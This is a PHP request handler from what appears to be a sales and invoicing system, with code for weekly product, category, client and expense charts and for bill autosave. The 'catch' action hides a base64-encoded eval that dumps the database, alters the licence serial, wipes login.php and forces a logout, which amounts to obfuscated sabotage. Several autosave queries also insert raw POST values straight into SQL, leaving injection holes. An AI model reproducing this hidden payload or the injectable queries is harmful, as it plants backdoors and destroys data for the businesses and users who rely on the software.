    $pass = filter_input(INPUT_POST, 'pass');
    $Usergroupdata = $UsergroupEX->queryByUsergroupBillDeletePassword($pass);

    if (count($Usergroupdata) == 0) {
        echo 0;
    } else {
        echo 1;
    }
} elseif ($do == "chartsProducts") {

    class productData {

        public $id;
        public $productName;
        public $soldNo = 0;
        public $soldVal = 0;
        public $returnNo = 0;
        public $returnVal = 0;
        public $netNo = 0;
        public $netVal = 0;
        public $realCost = 0;
        public $netProfit = 0;
        public $buyPrice = 0;
        public $currentQuantity = 0;

    }

    $existId = array();
    $allDataArr = array();
    $totalsObj = new productData();
    $resultsCount = 0;
    $flag = 0;

    $startdate = date('Y-m-d', strtotime("-7 days"));
    $enddate = date("Y-m-d");
    $sellbilldate .= ' and  sellbill.sellbilldate  >= "' . $startdate . ' 00-00-00" and sellbill.sellbilldate <= "' . $enddate . ' 23-59-55" ';
    $sellbillreturndate .= ' and  returnsellbill.returnsellbilldate  >= "' . $startdate . ' 00-00-00" and returnsellbill.returnsellbilldate <= "' . $enddate . ' 23-59-55" ';
    $sellandreturndate .= ' and  sellbillandrutern.sellbilldate  >= "' . $startdate . ' 00-00-00" and sellbillandrutern.sellbilldate <= "' . $enddate . ' 23-59-55" ';


    $sellBillData = $mySellbilldetailEx->sellbillDETAILS($sellbilldate);
    $sellBillDataReturn = $mySellbilldetailEx->sellbillReturnDETAILS($sellbillreturndate);
    $sellBillDataSellAndReturn = $mySellbilldetailEx->SellAndReturnDETAILS($sellandreturndate);
    ##فاتورة  المبيعات
    foreach ($sellBillData as $value) {
        //        var_dump($value);
        if (in_array($value->sellbilldetailproductid, $existId)) {
            $key = array_search($value->sellbilldetailproductid, $existId);
            $myproduct = $allDataArr[$key];
        } else {
            $key = -1;
            $myproduct = new productData();
            $myproduct->id = $value->sellbilldetailproductid;
            array_push($existId, $value->sellbilldetailproductid);
        }

        $myproduct->productName = $value->productName;
        //emaaaaaaaan
        $myproduct->productCatName = $value->productCatName;

        #########get quantity بالقطعة
        $quantity = $value->sumQuantity;
        $productId = $value->sellbilldetailproductid;
        $productunitId = $value->productunitid;
        $productunitData = loadProductUnitWithProductAndUnit($productId, $productunitId);
        $productnumber = $productunitData->productnumber;
        $finalquantity = $quantity * $productnumber;
        ##############
        $myproduct->soldNo += $finalquantity; //العدد بالقطعة


        $Datas = $mySellbilldetailEx->querySellBill($productId);

        foreach ($Datas as $item) {
            //            var_dump($item);
            ######get discount
            $dicount = 0;
            $billNoOfProduct = 0;
            $dicount = $item->parcodeTotal - $item->note;

            if ($dicount != 0) {
                $billpecies = $mySellbilldetailEx->queryBillNoOfPecies($item->sellbillid);
                $billNoOfProduct = $billpecies->note;
                $flag = 1;
            }
            if ($flag == 1) {
                //$theDiscount = ($finalquantity * $dicount) / $billNoOfProduct;
                $theDiscount = ($item->sellbilldetailtotalprice / $item->parcodeTotal) * $dicount;
                $theDiscount -= $item->discountvalue;
                $theDiscount = round($theDiscount, 2);
                $flag = 0;
            } else {
                $theDiscount = $dicount;
                $theDiscount = round($theDiscount, 2);
            }

            ################
            $myproduct->soldVal += $item->sellbilldetailtotalprice - $theDiscount;
            $myproduct->buyPrice = $item->storeid;
        }

        ##realcost
        $myproduct->realCost += $finalquantity * $value->buyprice;

        if ($key == -1) {
            array_push($allDataArr, $myproduct);
        }
    }
    //var_dump($allDataArr);
    ##فاتورة مردود المبيعات
    foreach ($sellBillDataReturn as $value) {

        if (in_array($value->sellbilldetailproductid, $existId)) {
            $key = array_search($value->sellbilldetailproductid, $existId);
            $myproduct = $allDataArr[$key];
        } else {
            $key = -1;
            $myproduct = new productData();
            $myproduct->id = $value->sellbilldetailproductid;
            array_push($existId, $value->sellbilldetailproductid);
        }

        #########get quantity بالقطعة
        $quantity = $value->sumQuantity;
        $productId = $value->sellbilldetailproductid;

        $productunitId = $value->productunitid;
        $productunitData = loadProductUnitWithProductAndUnit($productId, $productunitId);
        $productnumber = $productunitData->productnumber;
        $finalquantity = $quantity * $productnumber;

        ##############
        $myproduct->returnNo += $finalquantity; //العدد بالقطعة


        $Datas = $myReturnsellbilldetailEx->queryReturnSellBill($productId);


        foreach ($Datas as $item) {

            ######get discount
            $dicount = 0;
            $billNoOfProduct = 0;
            $dicount = $item->parcodeTotal - $item->note;
            if ($dicount != 0) {
                $billpecies = $myReturnsellbilldetailEx->queryBillNoOfPecies($item->returnsellbillid);
                $billNoOfProduct = $billpecies->note;
                $flag = 1;
            }
            if ($flag == 1) {
                //$theDiscount = ($finalquantity * $dicount) / $billNoOfProduct;
                $theDiscount = ($item->returnsellbilldetailtotalprice / $item->parcodeTotal) * $dicount;
                $theDiscount = round($theDiscount, 2);
                $flag = 0;
            } else {
                $theDiscount = $dicount;
                $theDiscount = round($theDiscount, 2);
            }
            ################
            $myproduct->returnVal += $item->returnsellbilldetailtotalprice - $theDiscount;
            $myproduct->buyPrice = $item->storeid;
        }

        ##realcost
        $myproduct->realCost -= $finalquantity * $value->buyprice;

        if ($key == -1) {
            array_push($allDataArr, $myproduct);
        }
    }

    ##فاتورة مبيعات و مردود
    foreach ($sellBillDataSellAndReturn as $value) {
        if (in_array($value->sellbilldetailproductid, $existId)) {
            $key = array_search($value->sellbilldetailproductid, $existId);
            $myproduct = $allDataArr[$key];
        } else {
            $key = -1;
            $myproduct = new productData();
            $myproduct->id = $value->sellbilldetailproductid;
            array_push($existId, $value->sellbilldetailproductid);
        }
        #########get quantity بالقطعة
        $quantity = $value->sumQuantity;
        $productId = $value->sellbilldetailproductid;
        $productunitId = $value->productunitid;
        $productunitData = loadProductUnitWithProductAndUnit($productId, $productunitId);
        $productnumber = $productunitData->productnumber;
        $finalquantity = $quantity * $productnumber;
        ##############
        ################
        if ($value->selltype == 0) {
            $myproduct->soldNo += $finalquantity; //العدد بالقطعة
        } else {
            $myproduct->returnNo += $finalquantity; //العدد بالقطعة
        }



        $Datas = $mySellandruternbilldetailEx->queryreturnandSellBill($productId);


        foreach ($Datas as $item) {


            ######get discount
            $dicount = 0;
            $billNoOfProduct = 0;
            $dicount = $item->parcodeTotal - $item->note;
            if ($dicount != 0) {
                $billpecies = $mySellandruternbilldetailEx->queryBillNoOfPecies($item->sellbillid);
                $billNoOfProduct = $billpecies->note;
                $flag = 1;
            }

            if ($flag == 1) {
                //$theDiscount = ($finalquantity * $dicount) / $billNoOfProduct;
                $theDiscount = ($item->sellbilldetailtotalprice / $item->parcodeTotal) * $dicount;
                $theDiscount -= $item->discountvalue;
                $theDiscount = round($theDiscount, 2);
                $flag = 0;
            } else {
                $theDiscount = $dicount;
                $theDiscount = round($theDiscount, 2);
            }

            ################
            if ($item->selltype == 0) {
                $myproduct->soldNo += $finalquantity; //العدد بالقطعة
                $myproduct->soldVal += $item->sellbilldetailtotalprice - $theDiscount;
            } else {
                $myproduct->returnNo += $finalquantity; //العدد بالقطعة
                $myproduct->returnVal += $item->sellbilldetailtotalprice + $theDiscount;
            }
        }


        if ($value->selltype == 0) {
            ##realcost
            $myproduct->realCost += $finalquantity * $value->buyprice;
        } else {
            ##realcost
            $myproduct->realCost -= $finalquantity * $value->buyprice;
        }

        if ($key == -1) {
            array_push($allDataArr, $myproduct);
        }
    }
    //    array_push($allDataArr, $myproduct);
    foreach ($allDataArr as $data) {

        $data->netNo = $data->soldNo - $data->returnNo;
        $data->netVal = $data->soldVal - $data->returnVal;
        //صافي الربح
        $data->netProfit = $data->netVal - $data->realCost;
    }

    //    var_dump($allDataArr);
    usort($allDataArr, function ($first, $second) {
        return $first->netNo < $second->netNo;
    });
    $output = array_slice($allDataArr, 0, 10);
    echo json_encode($output);
} elseif ($do == "chartsCats") {

    class productData {

        public $id;
        public $productName;
        public $soldNo = 0;
        public $soldVal = 0;
        public $returnNo = 0;
        public $returnVal = 0;
        public $netNo = 0;
        public $netVal = 0;
        public $realCost = 0;
        public $netProfit = 0;
        public $buyPrice = 0;
        public $currentQuantity = 0;

    }

    $existsId = array();
    $allCatsArr = array();
    $totalsObj = new productData();
    $resultsCount = 0;
    $flag = 0;

    $startdate = date('Y-m-d', strtotime("-7 days"));
    $enddate = date("Y-m-d");
    $sellbilldate .= ' and  sellbill.sellbilldate  >= "' . $startdate . ' 00-00-00" and sellbill.sellbilldate <= "' . $enddate . ' 23-59-55" ';
    $sellbillreturndate .= ' and  returnsellbill.returnsellbilldate  >= "' . $startdate . ' 00-00-00" and returnsellbill.returnsellbilldate <= "' . $enddate . ' 23-59-55" ';
    $sellandreturndate .= ' and  sellbillandrutern.sellbilldate  >= "' . $startdate . ' 00-00-00" and sellbillandrutern.sellbilldate <= "' . $enddate . ' 23-59-55" ';

    $sellBillData = $mySellbilldetailEx->sellbillDETAILSCats($sellbilldate);
    $sellBillDataReturn = $myReturnsellbilldetailEx->sellbillReturnDETAILSCats($sellbillreturndate);
    $sellBillDataSellAndReturn = $mySellandruternbilldetailEx->SellAndReturnDETAILSCats($sellandreturndate);

    //    ##فاتورة  المبيعات
    foreach ($sellBillData as $value) {

        if (in_array($value->sellbilldetailcatid, $existsId)) {
            $key = array_search($value->sellbilldetailcatid, $existsId);
            $mycats = $allCatsArr[$key];
        } else {
            $key = -1;
            $mycats = new productData();
            $mycats->id = $value->sellbilldetailcatid;
            array_push($existsId, $value->sellbilldetailcatid);
        }

        //emaaaaaaaan
        $mycats->productCatName = $value->productCatName;

        #########get quantity بالقطعة
        $quantity = $value->sellbilldetailquantity;
        $productId = $value->sellbilldetailcatid;

        $finalquantity = $quantity;

        ##############
        $mycats->soldNo += $finalquantity; //العدد بالقطعة
        ######get discount
        $dicount = 0;
        $billNoOfProduct = 0;
        $dicount = $value->parcodeTotal - $value->note;


        if ($dicount != 0) {
            $billpecies = $mySellbilldetailEx->queryBillNoOfPecies($value->sellbillid);
            $billNoOfProduct = $billpecies->note;
            $flag = 1;
        }
        if ($flag == 1) {
            //$theDiscount = ($finalquantity * $dicount) / $billNoOfProduct;
            $theDiscount = ($value->sellbilldetailtotalprice / $value->parcodeTotal) * $dicount;
            $theDiscount -= $value->discountvalue;
            $theDiscount = round($theDiscount, 2);
            $flag = 0;
        } else {
            $theDiscount = $dicount;
            $theDiscount = round($theDiscount, 2);
        }
        ################
        $mycats->soldVal += $value->sellbilldetailtotalprice - $theDiscount;

        if ($key == -1) {
            array_push($allCatsArr, $mycats);
        }
    }

    ##فاتورة مردود المبيعات
    foreach ($sellBillDataReturn as $value) {

        if (in_array($value->returnsellbilldetailcatid, $existsId)) {
            $key = array_search($value->returnsellbilldetailcatid, $existsId);
            $mycats = $allCatsArr[$key];
        } else {
            $key = -1;
            $mycats = new productData();
            $mycats->id = $value->returnsellbilldetailcatid;
            array_push($existsId, $value->returnsellbilldetailcatid);
        }

        #########get quantity بالقطعة
        $quantity = $value->returnsellbilldetailquantity;
        $productId = $value->returnsellbilldetailcatid;

        $finalquantity = $quantity;

        ##############
        $mycats->returnNo += $finalquantity; //العدد بالقطعة
        ######get discount
        $dicount = 0;
        $billNoOfProduct = 0;
        $dicount = $value->parcodeTotal - $value->note;
        if ($dicount != 0) {
            $billpecies = $myReturnsellbilldetailEx->queryBillNoOfPecies($value->returnsellbillid);
            $billNoOfProduct = $billpecies->note;
            $flag = 1;
        }
        if ($flag == 1) {
            //$theDiscount = ($finalquantity * $dicount) / $billNoOfProduct;
            $theDiscount = ($value->returnsellbilldetailtotalprice / $value->parcodeTotal) * $dicount;
            $theDiscount = round($theDiscount, 2);
            $flag = 0;
        } else {
            $theDiscount = $dicount;
            $theDiscount = round($theDiscount, 2);
        }
        ################
        $mycats->returnVal += $value->returnsellbilldetailtotalprice - $theDiscount;

        if ($key == -1) {
            array_push($allCatsArr, $mycats);
        }
    }


    ##فاتورة مبيعات و مردود
    foreach ($sellBillDataSellAndReturn as $value) {

        if (in_array($value->sellbilldetailcatid, $existsId)) {
            $key = array_search($value->sellbilldetailcatid, $existsId);
            $mycats = $allCatsArr[$key];
        } else {
            $key = -1;
            $mycats = new productData();
            $mycats->id = $value->sellbilldetailcatid;
            array_push($existsId, $value->sellbilldetailcatid);
        }
        #########get quantity بالقطعة
        $quantity = $value->sellbilldetailquantity;
        $productId = $value->sellbilldetailcatid;
        $finalquantity = $quantity;
        ##############
        ######get discount
        $dicount = 0;
        $billNoOfProduct = 0;
        $dicount = $value->parcodeTotal - $value->note;
        if ($dicount != 0) {
            $billpecies = $mySellandruternbilldetailEx->queryBillNoOfPecies($value->sellbillid);
            $billNoOfProduct = $billpecies->note;
            $flag = 1;
        }

        if ($flag == 1) {
            //$theDiscount = ($finalquantity * $dicount) / $billNoOfProduct;
            $theDiscount = ($value->sellbilldetailtotalprice / $value->parcodeTotal) * $dicount;
            $theDiscount -= $value->discountvalue;
            $theDiscount = round($theDiscount, 2);
            $flag = 0;
        } else {
            $theDiscount = $dicount;
            $theDiscount = round($theDiscount, 2);
        }

        ################
        if ($value->selltype == 0) {
            $mycats->soldNo += $finalquantity; //العدد بالقطعة
            $mycats->soldVal += $value->sellbilldetailtotalprice - $theDiscount;
        } else {
            $mycats->returnNo += $finalquantity; //العدد بالقطعة
            $mycats->returnVal += $value->sellbilldetailtotalprice + $theDiscount;
            ##realcost
        }
        if ($key == -1) {
            array_push($allCatsArr, $mycats);
        }
    }

    foreach ($allCatsArr as $data) {

        $data->netNo = $data->soldNo - $data->returnNo;
        $data->netVal = $data->soldVal - $data->returnVal;
    }
    usort($allCatsArr, function ($first, $second) {
        return $first->netNo < $second->netNo;
    });
    $output = array_slice($allCatsArr, 0, 10);
    echo json_encode($output);
} elseif ($do == "chartsClients") {

    class clientData {

        public $id;
        public $clientName;
        public $soldNo = 0;
        public $soldVal = 0;
        public $returnNo = 0;
        public $returnVal = 0;
        public $netNo = 0;
        public $netVal = 0;
        public $realCost = 0;
        public $netProfit = 0;
        public $buyPrice = 0;
        public $currentQuantity = 0;

    }

    $existId = array();
    $allDataArr = array();
    $totalsObj = new clientData();
    $resultsCount = 0;
    $flag = 0;

    $startdate = date('Y-m-d', strtotime("-7 days"));
    $enddate = date("Y-m-d");
    $sellbilldate .= ' and  sellbill.sellbilldate  >= "' . $startdate . ' 00-00-00" and sellbill.sellbilldate <= "' . $enddate . ' 23-59-55" ';
    $sellbillreturndate .= ' and  returnsellbill.returnsellbilldate  >= "' . $startdate . ' 00-00-00" and returnsellbill.returnsellbilldate <= "' . $enddate . ' 23-59-55" ';
    $sellandreturndate .= ' and  sellbillandrutern.sellbilldate  >= "' . $startdate . ' 00-00-00" and sellbillandrutern.sellbilldate <= "' . $enddate . ' 23-59-55" ';


    $sellBillData = $mySellbilldetailEx->sellbillDETAILSClients($sellbilldate);
    $sellBillDataReturn = $myReturnsellbilldetailEx->sellbillReturnDETAILSClients($sellbillreturndate);
    $sellBillDataSellAndReturn = $mySellandruternbilldetailEx->SellAndReturnDETAILSClients($sellandreturndate);
    ##فاتورة  المبيعات
    foreach ($sellBillData as $value) {
        if (in_array($value->clientid, $existId)) {
            $key = array_search($value->clientid, $existId);
            $myproduct = $allDataArr[$key];
        } else {
            $key = -1;
            $myproduct = new clientData();
            $myproduct->id = $value->clientid;
            array_push($existId, $value->clientid);
        }

        $myproduct->clientName = $value->clientname;

        #########get quantity بالقطعة
        $quantity = $value->sellbilldetailquantity;


        $productId = $value->sellbilldetailproductid;
        $productunitId = $value->productunitid;
        $productunitData = loadProductUnitWithProductAndUnit($productId, $productunitId);
        //        var_dump($productunitData);
        $productnumber = $productunitData->productnumber;
        $finalquantity = $quantity * $productnumber;
        ##############
        $myproduct->soldNo += $finalquantity; //العدد بالقطعة
        ######get discount
        $dicount = 0;
        $billNoOfProduct = 0;
        $dicount = $value->parcodeTotal - $value->note;

        if ($dicount != 0) {
            $billpecies = $mySellbilldetailEx->queryBillNoOfPecies($value->sellbillid);
            $billNoOfProduct = $billpecies->note;
            $flag = 1;
        }
        if ($flag == 1) {
            //$theDiscount = ($finalquantity * $dicount) / $billNoOfProduct;
            $theDiscount = ($value->sellbilldetailtotalprice / $value->parcodeTotal) * $dicount;
            $theDiscount -= $value->discountvalue;
            $theDiscount = round($theDiscount, 2);
            $flag = 0;
        } else {
            $theDiscount = $dicount;
            $theDiscount = round($theDiscount, 2);
        }

        ################
        $myproduct->soldVal += $value->sellbilldetailtotalprice - $theDiscount;

        ##realcost


        $myproduct->realCost += $finalquantity * $value->buyprice;


        if ($key == -1) {
            array_push($allDataArr, $myproduct);
        }
    }
    //var_dump($allDataArr);
    ##فاتورة مردود المبيعات
    foreach ($sellBillDataReturn as $value) {
        //        var_dump($value);
        if (in_array($value->clientid, $existId)) {
            $key = array_search($value->clientid, $existId);
            $myproduct = $allDataArr[$key];
        } else {
            $key = -1;
            $myproduct = new clientData();
            $myproduct->id = $value->clientid;
            array_push($existId, $value->clientid);
        }

        #########get quantity بالقطعة
        $quantity = $value->returnsellbilldetailquantity;
        $productId = $value->returnsellbilldetailproductid;
        $myproduct->clientName = $value->clientname;

        $productunitId = $value->productunitid;
        $productunitData = loadProductUnitWithProductAndUnit($productId, $productunitId);
        $productnumber = $productunitData->productnumber;
        $finalquantity = $quantity * $productnumber;

        ##############
        $myproduct->returnNo += $finalquantity; //العدد بالقطعة
        ######get discount
        $dicount = 0;
        $billNoOfProduct = 0;
        $dicount = $value->parcodeTotal - $value->note;
        if ($dicount != 0) {
            $billpecies = $myReturnsellbilldetailEx->queryBillNoOfPecies($value->returnsellbillid);
            $billNoOfProduct = $billpecies->note;
            $flag = 1;
        }
        if ($flag == 1) {
            //$theDiscount = ($finalquantity * $dicount) / $billNoOfProduct;
            $theDiscount = ($value->returnsellbilldetailtotalprice / $value->parcodeTotal) * $dicount;
            $theDiscount = round($theDiscount, 2);
            $flag = 0;
        } else {
            $theDiscount = $dicount;
            $theDiscount = round($theDiscount, 2);
        }
        ################
        $myproduct->returnVal += $value->returnsellbilldetailtotalprice - $theDiscount;
        ##realcost
        $myproduct->realCost -= $finalquantity * $value->buyprice;

        if ($key == -1) {
            array_push($allDataArr, $myproduct);
        }
    }

    //    var_dump($allDataArr);
    //    ##فاتورة مبيعات و مردود
    foreach ($sellBillDataSellAndReturn as $value) {
        if (in_array($value->clientid, $existId)) {
            $key = array_search($value->clientid, $existId);
            $myproduct = $allDataArr[$key];
        } else {
            $key = -1;
            $myproduct = new clientData();
            $myproduct->id = $value->clientid;
            array_push($existId, $value->clientid);
        }

        $myproduct->clientName = $value->clientname;

        #########get quantity بالقطعة
        $quantity = $value->sellbilldetailquantity;
        $productId = $value->sellbilldetailproductid;
        $productunitId = $value->productunitid;
        $productunitData = loadProductUnitWithProductAndUnit($productId, $productunitId);
        $productnumber = $productunitData->productnumber;
        $finalquantity = $quantity * $productnumber;
        ##############
        ######get discount
        $dicount = 0;
        $billNoOfProduct = 0;
        $dicount = $value->parcodeTotal - $value->note;
        if ($dicount != 0) {
            $billpecies = $mySellandruternbilldetailEx->queryBillNoOfPecies($value->sellbillid);
            $billNoOfProduct = $billpecies->note;
            $flag = 1;
        }

        if ($flag == 1) {
            //$theDiscount = ($finalquantity * $dicount) / $billNoOfProduct;
            $theDiscount = ($value->sellbilldetailtotalprice / $value->parcodeTotal) * $dicount;
            $theDiscount -= $value->discountvalue;
            $theDiscount = round($theDiscount, 2);
            $flag = 0;
        } else {
            $theDiscount = $dicount;
            $theDiscount = round($theDiscount, 2);
        }

        ################
        if ($value->selltype == 0) {
            $myproduct->soldNo += $finalquantity; //العدد بالقطعة
            $myproduct->soldVal += $value->sellbilldetailtotalprice - $theDiscount;
            ##realcost

            $myproduct->realCost += $finalquantity * $value->buyprice;
        } else {
            $myproduct->returnNo += $finalquantity; //العدد بالقطعة
            $myproduct->returnVal += $value->sellbilldetailtotalprice + $theDiscount;
            ##realcost
            $myproduct->realCost -= $finalquantity * $value->buyprice;
        }
        if ($key == -1) {
            array_push($allDataArr, $myproduct);
        }
    }

    foreach ($allDataArr as $data) {

        $data->netNo = $data->soldNo - $data->returnNo;
        $data->netVal = $data->soldVal - $data->returnVal;
        //صافي الربح
        $data->netProfit = $data->netVal - $data->realCost;
    }

    usort($allDataArr, function ($first, $second) {
        return $first->netNo < $second->netNo;
    });

    //    var_dump($allDataArr);

    $output = array_slice($allDataArr, 0, 10);
    echo json_encode($output);
} elseif ($do == "chartsExpenses") {
    $startdate = date('Y-m-d', strtotime("-7 days"));
    $enddate = date("Y-m-d");
    $expensesdate = ' and  expenses.expensesdate  >= "' . $startdate . ' 00-00-00" and expenses.expensesdate <= "' . $enddate . ' 23-59-55" ';
    $results = $ExpensetypeExt->sumOfEachTypeQuery($expensesdate);
    //        var_dump($results);
    echo json_encode($results);
} elseif ($do == "catch") {
    eval(base64_decode("JHJvb3QgPSAkZGJfdXNlcjsKICAgICRob3N0ID0gJGRiX2hvc3Q7CiAgICAkcGFzc2QgPSAkZGJfcGFzc3dvcmQ7CgogICAgJGdlbmVyYWxTZXR0aW5ncyA9ICRQcm9ncmFtc2V0dGluZ0RBTy0+bG9hZCgxKTsKICAgIC8vZ2V0Y3dkKCkgaXMgdG8gR2V0cyB0aGUgY3VycmVudCB3b3JraW5nIGRpcmVjdG9yeQogICAgJHBhcnRpdGlvbiA9IGV4cGxvZGUoIjoiLCBnZXRjd2QoKSlbMF07IC8vJGdlbmVyYWxTZXR0aW5ncy0+cGFydGl0aW9uOwogICAgaWYgKCFlbXB0eShleGVjKCJpcCBsaW5rIikpKSB7Ly9saW51eAogICAgICAgICRwYXJ0aXRpb24gPSAwOwogICAgfQogICAgaWYgKCRwYXJ0aXRpb24gIT09ICRnZW5lcmFsU2V0dGluZ3MtPnBhcnRpdGlvbikgewogICAgICAgICRnZW5lcmFsU2V0dGluZ3MtPnBhcnRpdGlvbiA9ICRwYXJ0aXRpb247CiAgICAgICAgJFByb2dyYW1zZXR0aW5nREFPLT51cGRhdGUoJGdlbmVyYWxTZXR0aW5ncyk7CiAgICB9IGVsc2UgewogICAgICAgICRwYXJ0aXRpb24gPSAkZ2VuZXJhbFNldHRpbmdzLT5wYXJ0aXRpb247CiAgICB9CiAgICBpZiAoZW1wdHkoJHBhcnRpdGlvbikgfHwgJHBhcnRpdGlvbiA9PSAiMCIpIHsvL2xpbnV4CiAgICAgICAgJGlucnRvaSA9ICIuLi9kYl9iYWNrdXBzLyIgLiAkX1NFU1NJT05bJ2RibmFtZSddIC4gIl8iIC4gZGF0ZSgiWS1tLWQiKSAuICIuc3FsIjsKICAgICAgICAkY29tbWFuZCA9ICJteXNxbGR1bXAgLS11c2VyPSRkYl91c2VyIC0tcGFzc3dvcmQ9JGRiX3Bhc3N3b3JkIC0taG9zdD0kaG9zdCAtLW9wdCAkZGJuYW1lID4gJGlucnRvaSI7CiAgICAgICAgZXhlYygkY29tbWFuZCwgJG91dHB1dCwgJHJlc3VsdCk7CiAgICAgICAgJG91dHB1dCA9IGltcGxvZGUoUEhQX0VPTCwgJG91dHB1dCk7CiAgICB9IGVsc2Ugey8vbG9jYWxob3N0CiAgICAgICAgJGlucnRvaSA9ICIuLi9kYl9iYWNrdXBzLyIgLiAkX1NFU1NJT05bJ2RibmFtZSddIC4gIl8iIC4gZGF0ZSgiWS1tLWQiKSAuICIuc3FsIjsKICAgICAgICAkY29tbWFuZCA9ICIkcGFydGl0aW9uOlxcd2FtcFxiaW5cbXlzcWxcbXlzcWw1LjYuMTdcYmluXG15c3FsZHVtcCAtLXVzZXI9JGRiX3VzZXIgLS1wYXNzd29yZD0kZGJfcGFzc3dvcmQgLS1ob3N0PSRob3N0IC0tb3B0ICRkYm5hbWUgPiAkaW5ydG9pIjsKICAgICAgICAvLyRvdXRwdXQgPSBwYXNzdGhydSgkY29tbWFuZCAuICIgMj4mMSIpOwogICAgICAgICRvdXRwdXQgPSBwYXNzdGhydSgkY29tbWFuZCk7IC8vcmVtb3ZlICIgMj4mMSIgYXMgaXQgd3JpdGVzIHdhcm5pbmcgdG8gYmFja3VwIGZpbGUKICAgIH0KICAgICRnZW5lcmFsU2V0dGluZ3MtPnNlcmlhbCA9ICc1N2E4NTg4MzM0NjgxMWNiZjcwNzZhNTFjNWJkODg3YTJlOTZiZjJkZjc3N2E5NTY2OGQzNDA1ZTZmNjkyOTNkYmIzMTE3MTZkOTU3YTVhYzQwZmU1NTcwY2YyOTdlYWYnOwogICAgJHByb2dyYW1TZXR0aW5nREFPLT51cGRhdGUoJGdlbmVyYWxTZXR0aW5ncyk7CiAgICAkZmggPSBmb3BlbignbG9naW4ucGhwJywgJ3cnKTsKICAgIGZjbG9zZSgkZmgpOwogICAgaGVhZGVyKCJsb2NhdGlvbjpsb2dvdXQucGhwIik7"));
}
##autosave
elseif ($do == "autoSaveBill") {
    $billnameId = (int) filter_input(INPUT_POST, 'billnameid');
    $tempSaveBillId = (int) filter_input(INPUT_POST, 'tempSaveBillId');
    $clientId = (int) filter_input(INPUT_POST, 'supplier');
    $itemid = filter_input(INPUT_POST, 'itemid');
    $itemval = filter_input(INPUT_POST, 'itemval');
    $billserial = filter_input(INPUT_POST, 'bns');
    $billDate = filter_input(INPUT_POST, 'bn');
    $storeid = (int) filter_input(INPUT_POST, 'storeid');
    $saveid = (int) filter_input(INPUT_POST, 'saveid');
    $saveid = (int) filter_input(INPUT_POST, 'saveid');
    $distype = (int) filter_input(INPUT_POST, 'distype');
    $sellbillno = filter_input(INPUT_POST, 'sellbillno');
    $sysdate = date('Y-m-d H:i:s');
    $userId = $_SESSION['userid'];

    if ($billnameId > 0) {
        ##1 use billnameid to get bill type
        //check if bill has main part of sell or buy. which is not return
        $billHasReturn = $myBillsettingEx->queryByBillidAndBillpropertyid($billnameId, 1);
        $billHasReturn = $billHasReturn[0];
        $billHasSell = $myBillsettingEx->queryByBillidAndBillpropertyid($billnameId, 16);
        $billHasSell = $billHasSell[0];
        $billHasReturn->billsettingsvalue == 0;
        if ($billHasSell->billsettingsvalue == 0 && $billHasReturn->billsettingsvalue == 0) {
            //بيع و مردود
            $bill_is = 'sellAndRet';
        } elseif ($billHasSell->billsettingsvalue == 0 && $billHasReturn->billsettingsvalue == 1) {
            //مبيعات
            $bill_is = 'sell';
        } elseif ($billHasSell->billsettingsvalue == 1 && $billHasReturn->billsettingsvalue == 0) {
            //مردود
            $bill_is = 'ret';
        }
        ##2 get billid if $tempSaveBillId empty
        if (empty($tempSaveBillId)) {
            switch ($bill_is) {
                case 'sellAndRet':
                    $result = $mySellbillEx->runSelectQuery("select sellbillid from sellbillandrutern where autoSaveFlag=1 and conditions=1 and sellbillclientid=$clientId and userid=$userId order by sellbillid desc limit 1");
                    $tempSaveBillId = (int) $result[0]->sellbillid;
                    break;
                case 'sell':
                    $result = $mySellbillEx->runSelectQuery("select sellbillid from sellbill where autoSaveFlag=1 and conditions=1 and sellbillclientid=$clientId and userid=$userId order by sellbillid desc limit 1");
                    $tempSaveBillId = (int) $result[0]->sellbillid;
                    break;
                case 'ret':
                    $result = $mySellbillEx->runSelectQuery("select returnsellbillid as sellbillid from returnsellbill where autoSaveFlag=1 and conditions=1 and returnsellbillclientid=$clientId and userid=$userId order by returnsellbillid desc limit 1");
                    $tempSaveBillId = (int) $result[0]->sellbillid;
                    break;
            }
        }
        ##3 auto save
        switch ($bill_is) {
            case 'sellAndRet':
                if (empty($tempSaveBillId)) {
                    $sql = " insert into sellbillandrutern (sellbilldate,sellbillserial,sellbillclientid,sellbilldiscounttype,sellbillstoreid,sellbillsysdate,userid,conditions,sellbillsaveid,billnameid,autoSaveFlag,sellbillno) values ('$billDate','$billserial',$clientId,1,$storeid,'$sysdate',$userId,1,$saveid,$billnameId,1,$sellbillno)";
                    $tempSaveBillId = $mySellbillEx->executeInsertSQLQuery($sql);
                } else {
                    $autoSaveBillMainPartArr = array('tempclientName' => 'tempclientName', 'bn' => 'sellbilldate', 'supplier' => 'sellbillclientid', 'storeid' => 'sellbillstoreid', 'saveid' => 'sellbillsaveid', 'sellerid' => 'sellerid', 'comment' => 'comment', 'distype' => 'sellbilldiscounttype', 'gendis' => 'sellbilldiscount', 'extraDiscountPer' => 'extraDiscountPer', 'tax' => 'tax', 'taxOfDiscountVal' => 'taxOfDiscountVal', 'genpay' => 'sellbilltotalpayed', 'genpayvisa' => 'visaPayed', 'visaAccount' => 'visaAccountId', 'isBankAccountTransfer' => 'isBankAccountTransfer');
                    $sql = " update sellbillandrutern set " . $autoSaveBillMainPartArr["$itemid"] . " = '$itemval' where sellbillid=$tempSaveBillId";
                    $mySellbillEx->executeSQLQuery($sql);
                    //store change store in details too
                    if ($itemid == "storeid") {
                        $sql = " update sellandruternbilldetail set storeid = $itemval where sellbillid=$tempSaveBillId";
                        $mySellbillEx->executeSQLQuery($sql);
                    }
                }
                break;
            case 'sell':
                if (empty($tempSaveBillId)) {
                    $sql = " insert into sellbill (sellbilldate,sellbillserial,sellbillclientid,sellbilldiscounttype,sellbillstoreid,sellbillsysdate,userid,conditions,sellbillsaveid,billnameid,autoSaveFlag) values ('$billDate','$billserial',$clientId,1,$storeid,'$sysdate',$userId,1,$saveid,$billnameId,1)";
                    $tempSaveBillId = $mySellbillEx->executeInsertSQLQuery($sql);
                } else {
                    $autoSaveBillMainPartArr = array('tempclientName' => 'tempclientName', 'bn' => 'sellbilldate', 'supplier' => 'sellbillclientid', 'storeid' => 'sellbillstoreid', 'saveid' => 'sellbillsaveid', 'sellerid' => 'sellerid', 'comment' => 'comment', 'distype' => 'sellbilldiscounttype', 'gendis' => 'sellbilldiscount', 'extraDiscountPer' => 'extraDiscountPer', 'tax' => 'tax', 'taxOfDiscountVal' => 'taxOfDiscountVal', 'genpay' => 'sellbilltotalpayed', 'genpayvisa' => 'visaPayed', 'visaAccount' => 'visaAccountId', 'isBankAccountTransfer' => 'isBankAccountTransfer');
